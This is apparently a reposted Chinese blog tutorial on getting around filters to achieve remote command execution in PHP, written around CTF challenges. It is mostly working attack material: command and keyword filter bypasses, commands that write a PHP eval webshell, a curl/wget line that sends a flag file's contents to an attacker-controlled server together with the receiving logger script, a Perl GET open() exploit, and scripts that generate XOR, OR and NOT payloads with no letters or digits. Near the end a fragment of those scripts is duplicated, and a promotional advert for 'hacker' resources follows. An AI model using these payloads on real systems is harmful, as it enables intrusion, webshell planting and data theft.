命令执行(RCE)面对各种过滤,骚姿势绕过总结

news2024/11/15 15:42:57

1、什么是RCE

RCE又称远程代码执行漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

2、RCE产生原因

服务器没有对执行命令的函数做严格的过滤,最终导致命令被执行。

3、命令执行函数

PHP代码执行函数:
eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()、等
PHP命令执行函数:
system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()、等

4、面对过滤绕过方法

1、过滤关键字,如过滤 cat,flag等关键字

替代法

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /flag 2>%261 //报错出文件内容

使用转义符号

ca\t /fl\ag
cat fl''ag

拼接法

a=fl;b=ag;cat$IFS$a$b

img

使用空变量KaTeX parse error: Undefined control sequence: \* at position 1: \̲*̲和@, x , x, x,{x}绕过

img

反引号绕过

img

编码绕过

1、Base64

img

2、8进制

3、16进制

正则表达式绕过

img

利用未初始化变量$u让绕过

2、过滤命令执行函数,如过滤system()

编码绕过

img

内敛执行绕过

echo `ls`;
echo $(ls);
?><?=`ls`;
?><?=$(ls);

img

3、过滤一些读取文件的命令(如cat)

绕过方法

[root@kali flag123]# curl file:///flag123/flag
  flag{suifeng}
  [root@kali flag123]# strings flag 
  flag{suifeng}
  [root@kali flag123]# uniq -c flag
        1 flag{suifeng}
  [root@kali flag123]# bash -v flag
  flag{suifeng}
  flag: line 1: flag{suifeng}: command not found
  [root@kali flag123]# rev flag
  }gnefius{galf
  [root@kali flag123]#

find – 列出当前目录下的文件以及子目录所有文件

img

4、过滤空格

%09(url传递)(cat%09flag.php)
${IFS}
$IFS$9
<>(cat<>/flag)
<(cat</flag)
{cat,flag}

5、过滤目录分割符

采用多管道命令绕过
127.0.0.1||cd flag_is_here;cat flag_262431433226364.php

img

6、过滤分割符 | & ;

  ;  //分号
  |  //只执行后面那条命令
  ||  //只执行前面那条命令
  &  //两条命令都会执行
  &&  //两条命令都会执行
  %0a      //换行符
  %0d     //回车符号
  
  用?>代替;
  在php中可以用?>来代替最后的一个;,因为php遇到定界符关闭标签会自动在末尾加上一个分号。

7、过滤括号

8、输入字符串长度限制

img

#  \指的是换行
  #  ls -t是将文本按时间排序输出
  #  ls -t >shell  将输出输入到shell文件中
  #  sh将文本中的文字读取出来执行

9、利用$PATH环境变量绕过

利用环境变量来截取字母达到绕过过滤

img

假如数字被过滤,我们还可以利用环境变量的长度来进一步绕过过滤

for i in `env`; do echo -n "${i%=*} lenth is
";echo ${i#*=}|awk '{print length($0)}'; done |grep 5 

img

img

10、无回显

一、Shell_exec等无回显函数

方法一、

1、判断是否执行成功我们可以用sleep()

eg:ls;sleep(5);

2、用压缩、复制、写shell等方法对其进行绕过(此处要注意权限,看是否有写的权限)

copy flag 1.txt
  mv flag 1.txt
  cat flag > 1.txt
  tar zcvf flag.tar.gz flag
  echo 3c3f706870206576616c28245f504f53545b3132335d293b203f3e|xxd -r -ps > webshell.php
  echo "<?php @eval($_POST['suifeng']); ?>" > webshell.php

利用上述操作产生新的文件,然后我们在对新的文件进行访问

img

img

img

img

方法二、

用vps建立记录脚本

1、首先在自己的公网ip的网站目录下建立一个record.php的文件,里面写下如下代码

<?php
    $data =$_GET['data'];
    $f = fopen("flag.txt", "w");
    fwrite($f,$data);
    fclose($f);
    ?>

2、第二步我们开始构造请求

  curl http://*.*.*.**/record.php?data=`cat flag`
  wget http://*.*.*.*/record.php?data=`cat flag`

测试

这里是上帝视角(为了师傅们更直观理解)

首先看目标网站上的文件

img

接下来看自己服务器上的文件

img

我们在目标站点执行如下命令

img

这样我们在自己的服务器上就会产生一个flag.txt文件,然后进行查看

img

有时会读取不全,这里我没碰到,读取不全的话我们可以进行一个编码,如下。

curlhttp://*.*.*.**/record.php?data=`catflag|base64`
wgethttp://*.*.*.*/record.php?data=`catflag|base64`

更多参考https://blog.csdn.net/qq_43625917/article/details/107873787

二、>/dev/null 2>&1类无回显

代码中插入了>/dev/null 2>&1,“>/dev/null 2>&1”的作用就是不回显。

img

该种无回显我们用分隔符进行分割即可绕过

img

11、Perl中open命令执行(GET)

源码

192.168.122.180 <?php
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
    }


    echo $_SERVER["REMOTE_ADDR"];


    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
    @mkdir($sandbox);
    @chdir($sandbox);


    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
    $info = pathinfo($_GET["filename"]);
    $dir  = str_replace(".", "", basename($info["dirname"]));
    @mkdir($dir);
    @chdir($dir);
    @file_put_contents(basename($info["basename"]), $data);
    highlight_file(__FILE__);

代码审计

首先$_SERVER方式把HTTP_X_FORWARDED_FOR给请求过来,然后通过explode函数分割,在把ip地址截取出来,在用echo函数输出出来,这就是我们第一行看到的IP地址

img

$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);

sandbox变量为sandbox/后面拼接一个(orange拼接输出的ip)的MD5值在通过

@mkdir($sandbox);

@chdir($sandbox);

创建sandbox这个目录

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));

这里的GET不是我么平常的GET方法传参,这里的GET是Lib for WWW in Perl中的命令 目的是模拟http的GET请求,GET函数底层就是调用了open处理

首先我们到kali里面去测试一下这个GET有什么作用

img

这里GET一个根目录,功能类似于ls把它给列出来

可以读取文件

img

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));

那么这句代码的意思就是,把shell_exec中GET过来的结果保存到escapeshellarg中用get(此处get为get请求)接收的参数中,并且这个参数是可以在shell命令里使用的参数。

然后用pathinfo函数分割get过来的filename,最后替换点,截取前面目录,最终用file_put_contents函数把之前$data给写进这个目录里面。知道了代码的流程我们就可以构造我们的参数了。

构造参数

首先我们GET根目录且让其放进test目录里

img

然后我们对其访问,路径是sandbox+拼接的MD5值+test

img

根目录下有flag和readflag文件,但是打不开,我们要利用readflag去读取flag,接下来就到我们标题所说的

Perl中open命令执行(GET)内容了。

因为GET的底层是使用open函数的,如下

file.pm
84: opendir(D, $path) or
132:    open(F, $path) or returnnew

而这个open函数会导致我们的RCE,最终造成GET的RCE

img

因为GET使用file协议时候会调用perl中的open函数

img

这里够造了好久也没构造出来,看了下wp,执行命令需要满住如下条件

要执行的命令先前必须要有以命令为文件名的文件存在(这里不是很理解,大佬可以告知一下)

既然要满住这个条件,那我们构造的payload如下

1、?url=&filename=|/readflag
2、?url=file:|/readflag&filename=test 

最终访问拿到flag

img

test 

最终访问拿到flag

12、无字母数字RCE

代码示例

<?php
  error_reporting(0);
  highlight_file(__FILE__);
  $code=$_GET['code'];
  if(preg_match('/[a-z0-9]/i',$code)){
      die('hacker');
  }
  eval($code);

代码分析

这里先代码很好理解接收一个code参数,进行一个正则匹配,匹配所哟的字母和数字,匹配到了结果返回一个hacker字符串,且结束代码。

这里很明显要绕过这个正则然后运行eval函数达到我们的命令执行

绕过(这里我们利用异或、或、取反等操作进行绕过)

1、异或—首先利用如下脚本生成包含所有可见字符的异或构造结果。

<?php
    $myfile = fopen("res.txt", "w");
    $contents="";
    for ($i=0; $i < 256; $i++) { 
      for ($j=0; $j <256 ; $j++) { 
    
        if($i<16){
          $hex_i='0'.dechex($i);
        }
        else{
          $hex_i=dechex($i);
        }
        if($j<16){
          $hex_j='0'.dechex($j);
        }
        else{
          $hex_j=dechex($j);
        }
        $preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
              echo "";
        }
      
        else{
        $a='%'.$hex_i;
        $b='%'.$hex_j;
        $c=(urldecode($a)^urldecode($b));
        if (ord($c)>=32&ord($c)<=126) {
          $contents=$contents.$c." ".$a." ".$b."\n";
        }
      }
    
    }
    }
    fwrite($myfile,$contents);
    fclose($myfile);

运行python脚本生成我们的payload

import requests
    import urllib
    from sys import *
    import os
    def action(arg):
       s1=""
       s2=""
       for i in arg:
           f=open("res.txt","r")
           while True:
               t=f.readline()
               if t=="":
                   break
               if t[0]==i:
                   #print(i)
                   s1+=t[2:5]
                   s2+=t[6:9]
                   break
           f.close()
       output="(\""+s1+"\"^\""+s2+"\")"
       return(output)
       
    while True:
       param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
       print(param)

运行结果

("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%04%09%09"^"%60%60%7b");

img

img

这里注意一下php的版本,尽量选择php的高版本,低版本可能会导致执行不成功

2、或—原理一样就是脚本稍微改变一下

<?php
    $myfile = fopen("res.txt", "w");
    $contents="";
    for ($i=0; $i < 256; $i++) { 
      for ($j=0; $j <256 ; $j++) { 
    
        if($i<16){
          $hex_i='0'.dechex($i);
        }
        else{
          $hex_i=dechex($i);
        }
        if($j<16){
          $hex_j='0'.dechex($j);
        }
        else{
          $hex_j=dechex($j);
        }
        $preg = '/[0-9a-z]/i';//根据题目给的正则表达式修改即可
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
              echo "";
        }
      
        else{
        $a='%'.$hex_i;
        $b='%'.$hex_j;
        $c=(urldecode($a)|urldecode($b));
        if (ord($c)>=32&ord($c)<=126) {
          $contents=$contents.$c." ".$a." ".$b."\n";
        }
      }
    
    }
    }
    fwrite($myfile,$contents);
    fclose($myfile);

python脚本

import requests
    import urllib
    from sys import *
    import os
    def action(arg):
       s1=""
       s2=""
       for i in arg:
           f=open("or_rce.txt","r")
           while True:
               t=f.readline()
               if t=="":
                   break
               if t[0]==i:
                   #print(i)
                   s1+=t[2:5]
                   s2+=t[6:9]
                   break
           f.close()
       output="(\""+s1+"\"|\""+s2+"\")"
       return(output)
       
    while True:
       param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
       print(param)

3、取反—取反用的字符不会触发正则表达式,所以我们直接用php脚本生成payload即可

<?php  //在命令行中运行
    fwrite(STDOUT,'[+]your function: ');
    $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 
    fwrite(STDOUT,'[+]your command: ');
    $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 
    echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
    ?>

img

          if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"|\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
   print(param)



**3、取反---取反用的字符不会触发正则表达式,所以我们直接用php脚本生成payload即可**

```text
<?php  //在命令行中运行
    fwrite(STDOUT,'[+]your function: ');
    $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 
    fwrite(STDOUT,'[+]your command: ');
    $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 
    echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
    ?>

[外链图片转存中…(img-DrpcWCW4-1720519522680)]

img
今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

网络安全学习资源分享:

给大家分享我自己学习的一份全套的网络安全学习资料,希望对想学习 网络安全的小伙伴们有帮助!

零基础入门

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

【点击免费领取】CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》

1.学习路线图

在这里插入图片描述

攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去接私活完全没有问题。

2.视频教程

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。【点击领取视频教程】

在这里插入图片描述

技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本【点击领取技术文档】

在这里插入图片描述

(都打包成一块的了,不能一一展开,总共300多集)

3.技术文档和电子书

技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本【点击领取书籍】

在这里插入图片描述

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。

在这里插入图片描述

最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。

参考解析:深信服官网、奇安信官网、Freebuf、csdn等

内容特点:条理清晰,含图像化表示更加易懂。

内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

在这里插入图片描述

👋全套《黑客&网络安全入门&进阶学习资源包》👇👇👇

这份完整版的学习资料已经上传CSDN,也可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费

img

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1910756.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

潜在空间可视化(Latent space visualization)

在“深度学习”系列中&#xff0c;我们不会看到如何使用深度学习来解决端到端的复杂问题&#xff0c;就像我们在《A.I. Odyssey》中所做的那样。我们更愿意看看不同的技术&#xff0c;以及一些示例和应用程序。 1、引言 上次&#xff08;Autoencoders - Deep Learning bits #…

PLC物联网关在工业自动化领域的应用的意义-天拓四方

随着信息技术的飞速发展&#xff0c;物联网技术正逐步渗透到各个行业领域&#xff0c;其中&#xff0c;工业自动化领域的PLC与物联网的结合&#xff0c;为工业自动化的发展开辟了新的道路。PLC物联网关作为连接PLC与物联网的重要桥梁&#xff0c;其重要性日益凸显。 PLC物联网…

STM32 低功耗模式 睡眠、停止和待机 详解

目录 1.睡眠模式&#xff08;Sleep Mode&#xff09; 2.停止模式&#xff08;stop mode&#xff09; 3.待机模式&#xff08;Standby Mode&#xff09; STM32提供了三种低功耗模式&#xff0c;分别是睡眠模式&#xff08;Sleep Mode&#xff09;、停止模式&#xff08;Stop …

Python基于you-get下载网页上的视频

​ 1.python 下载地址 下载 : https://www.python.org/downloads/ 2. 配置环境变量 配置 python_home 地址 配置 python_scripts 地址 在path 中加入对应配置 3. 验证 ​ C:\Users>python --version Python 3.12.4C:\Users>wheel version wheel 0.43.04. 下载 c…

公开课备课思路有哪些?

在准备公开课时&#xff0c;你是否曾感到迷茫&#xff0c;不知从何下手&#xff1f;作为一名教师&#xff0c;我们深知公开课的重要性&#xff0c;它不仅是展示个人教学水平的舞台&#xff0c;也是与同行交流、学习的机会。那么&#xff0c;如何高效地备课&#xff0c;让公开课…

Linux--深入理与解linux文件系统与日志文件分析

一、文件与存储系统的 inode 与 block 1.1 硬盘存储 最小存储单位:扇区( sector )每个扇区存储大小:512 字节1.2 文件存取--block block(块),每个 block 块大小为:4k由连续的八个扇区组成一个 block 块是文件索引最小的单位每个 block 块中包括:文件数据文件数据:就…

开源数字人项目Hallo

硬件条件&#xff1a; gpu最低12G 软件&#xff1a; cuda需支持 Python选择3.10吧&#xff0c;我的版本3.11 源码&#xff1a; GitHub - fudan-generative-vision/hallo: Hallo: Hierarchical Audio-Driven Visual Synthesis for Portrait Image Animation models文件&…

v-model双向绑定的实现原理

在前端处理表单时&#xff0c;我们常常需要将表单输入框的内容同步给 JavaScript 中相应的变量。手动连接值绑定和更改事件监听器可能会很麻烦&#xff0c;这里我们先用input属性写入输入框&#xff0c;代码如下&#xff1a; <template><view class"out"&g…

从零开始搭建互联网医院系统:技术与案例解析

随着信息技术的飞速发展和人们对医疗服务需求的增加&#xff0c;互联网医院逐渐成为医疗服务的重要模式。本文将详细介绍从零开始搭建互联网医院系统的关键技术和具体案例&#xff0c;帮助读者理解如何构建一个高效、可靠的互联网医院系统。 一、互联网医院系统的核心技术 1…

【EI稳定检索】第五届大数据、人工智能与软件工程国际研讨会(ICBASE 2024)

>>>【独立出版&#xff0c;Ei稳定检索】<<< 第五届大数据、人工智能与软件工程国际研讨会&#xff08;ICBASE 2024&#xff09; 2024年09月20-22日 | 中国温州 一轮截稿时间&#xff1a;2024年7月8日 二轮截稿时间&#xff1a;2024年8月5日 大会简介 *会议…

全能型CAE/CFD建模工具SimLab 详解Part1: Geomtry,轻松集成力学、电磁学、疲劳优化等功能

SimLab的建模功能 SimLab集成了结构力学&#xff0c;流体力学&#xff0c;电磁学&#xff0c;疲劳和优化等功能&#xff0c;是全能型的CAE / CFD建模工具。 具有强大的几何、网格编辑功能&#xff0c;能够快速的清理复杂模型&#xff0c;减少手动修复的工作量&#xff0c;提高…

通俗易懂--.csproj 文件

.csproj 文件 .csproj&#xff0c;是C#项目文件的扩展名&#xff0c;它是“C Sharp Project”的缩写。.net开发环境中建立项目时&#xff0c;会产生.csproj文件&#xff0c;这是C#的工程文件&#xff0c;其中记录了与工程有关的相关信息&#xff0c;例如包含的文件&#xff0c;…

192.168.1.1路由器管理系统使用教程

节选自&#xff1a;192.168.1.1路由器管理系统-厂商有哪些-如何使用-无法登录原因-苏州稳联 什么是 192.168.1.1 路由器管理系统&#xff1f; 192.168.1.1 是大多数家庭路由器的默认 IP 地址&#xff0c;用于访问路由器的管理控制台。通过这个管理系统&#xff0c;用户可以配…

快速掌握 ==== js 正则表达式

git 地址 https://gitee.com/childe-jia/reg-test.git 背景 在日常开发中&#xff0c;我们经常会遇到使用正则表达式的场景&#xff0c;比如一些常见的表单校验&#xff0c;会让你匹配用户输入的手机号或者身份信息是否规范&#xff0c;这就可以用正则表达式去匹配。相信大多数…

base SAS programming学习笔记10(combine data)

1.一对一合并 基本格式如下&#xff1a; data output-data-set; set data-set1; set data-set2;(data-set1和data-set2可以是相同的数据集&#xff0c;可以添加多个set 语句来实现上述的一对一合并) run; 输出数据集结果如下&#xff1a; a.会包含所有输入数据的变量名&#x…

Linux 系统 CPU 100% 异常问题,能否用一个 Shell 脚本完美解决?

昨天下午突然收到运维邮件报警&#xff0c;显示数据平台服务器cpu利用率达到了98.94%&#xff0c;而且最近一段时间一直持续在70%以上&#xff0c;看起来像是硬件资源到瓶颈需要扩容了&#xff0c;但仔细思考就会发现咱们的业务系统并不是一个高并发或者CPU密集型的应用&#x…

【linux服务器篇】-Redis-RDM远程连接redis

redis desktop manager 使用远程连接工具RDM连接redis 市面上比较常见的其中一款工具redis desktop manager 简单的说&#xff1a; Redis Desktop Manager 简单的来讲就是Redis可视化工具&#xff0c;可以让我们看到Redis中存储的内容。 redis desktop manager是一款功能强…

《梦醒蝶飞:释放Excel函数与公式的力量》10.2 COMPLEX函数

第二节 10.2 COMPLEX函数 10.2.1函数简介 COMPLEX函数是Excel中的一个工程函数&#xff0c;用于将实部和虚部组合成一个复数。复数广泛应用于工程、电气、物理等领域&#xff0c;COMPLEX函数提供了方便的复数表示和计算方法。 10.2.2语法&#xff1a; COMPLEX(real_num, i_…

AcWing 1073:树的中心 ← 树形DP

【题目来源】https://www.acwing.com/problem/content/1075/【题目描述】 给定一棵树&#xff0c;树中包含 n 个结点&#xff08;编号1~n&#xff09;和 n−1 条无向边&#xff0c;每条边都有一个权值。 请你在树中找到一个点&#xff0c;使得该点到树中其他结点的最远距离最近…

nvm 管理多版本 node

1、下载 先不安装node 下载 nvm 1.1.10-setup.zip 解压&#xff1a;nvm&#xff1a;https://nvm.uihtm.com/ 新建nodejs/node、nodejs/nvm文件夹用于存放node版本和nvm安装路径 安装nvm&#xff1a;上述链接有安装教程 查看是否安装成功&#xff1a;重新打开cmd 输入 nvm nv…